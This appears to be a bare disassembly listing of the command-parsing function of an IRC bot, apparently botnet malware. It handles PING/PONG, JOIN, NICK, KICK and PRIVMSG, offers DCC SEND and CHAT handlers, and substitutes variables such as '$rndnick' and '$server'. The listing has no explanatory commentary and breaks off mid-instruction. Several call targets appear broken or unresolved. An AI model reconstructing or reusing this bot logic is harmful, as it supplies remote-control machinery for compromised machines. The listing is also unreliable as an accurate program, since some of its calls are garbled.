var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA30 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA2C ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA28 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C968 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C944 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C928 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 26604A7h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8E8 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8DC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 2660DCFh push eax push offset unk_42C864 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C820 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C7F8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 26604A7h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 2660DCFh push eax push offset unk_42C7C0 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C75C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA30 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C718 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, 